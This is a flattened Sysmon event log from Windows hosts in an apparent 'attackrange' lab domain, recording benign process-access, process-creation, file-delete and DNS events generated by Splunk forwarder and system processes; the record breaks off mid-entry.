15:03:35.093{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017298Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:35.093{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017297Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:35.093{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017296Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:35.093{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017295Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:35.093{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017294Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:35.093{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017293Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:35.093{625C326B-67EC-613B-0500-00000000F101}412428C:\Windows\system32\csrss.exe{625C326B-73C7-613B-1E05-00000000F101}3244C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000017292Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:35.093{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-73C7-613B-1E05-00000000F101}3244C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000017291Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:35.093{625C326B-73C7-613B-1E05-00000000F101}3244C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe8.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000053946Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:36.979{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=080195AEE0F6665C4B30570A12B5FABC,SHA256=F397CC79F2527D1034D6B28104797E31B76D41BD6C516BD0D275BD23BCD61975,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017334Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:36.593{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=279CCBDBB92307BFA73D88A30E716BEA,SHA256=EA72379DE4F0F08EA103108B4E96EF338400DDE38142AEB8230B2DD9F63A81E5,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000053945Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:36.612{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite-shmMD5=BED90C78B87FC2797BBE1361FF786A08,SHA256=18FE3341AAEB4D42E0EAFD5EBFA6219B5E7490DD554DAA2A96A52396BD1FACF8,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000053944Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:36.612{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite-shmMD5=B7C14EC6110FA820CA6B65F5AEC85911,SHA256=FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000053943Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:32.871{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsefalse10.0.1.14win-dc-387.attackrange.local53domainfalse10.0.1.14win-dc-387.attackrange.local63658- 354300x800000000000000053942Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:32.871{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsefalse10.0.1.14win-dc-387.attackrange.local59089-false10.0.1.14win-dc-387.attackrange.local53domain 354300x800000000000000053941Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:32.871{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsefalse10.0.1.14win-dc-387.attackrange.local53domainfalse10.0.1.14win-dc-387.attackrange.local59089- 354300x800000000000000053940Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:32.871{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudptruetruea00:10e:0:0:2851:fe7a:82c9:ffff-59089-truea00:10e:0:0:0:0:0:0win-dc-387.attackrange.local53domain 354300x800000000000000053939Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:32.870{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local56695- 354300x800000000000000053938Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:32.869{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local55136- 354300x800000000000000053937Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:32.869{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudptruetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local55136-true0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domain 23542300x800000000000000017333Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:36.124{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=F6112B6E6E4426B2738D3319BC8FD804,SHA256=3BFCF84EDA84FA7F058C1D8E867ED135BBCFAC4E4CED77398883F5478A054A4B,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000017332Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:36.093{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-73C8-613B-2005-00000000F101}3800C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017331Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:36.093{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017330Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:36.093{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017329Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:36.093{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017328Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:36.093{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017327Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:36.093{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017326Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:36.093{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017325Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:36.093{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017324Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:36.093{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017323Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:36.093{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017322Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:36.093{625C326B-67EC-613B-0500-00000000F101}412428C:\Windows\system32\csrss.exe{625C326B-73C8-613B-2005-00000000F101}3800C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000017321Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:36.093{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-73C8-613B-2005-00000000F101}3800C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000017320Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:36.093{625C326B-73C8-613B-2005-00000000F101}3800C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe8.0.2Windows Print Monitor splunk ApplicationSplunk Inc.splunk-winprintmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"C:\Windows\system32\NT 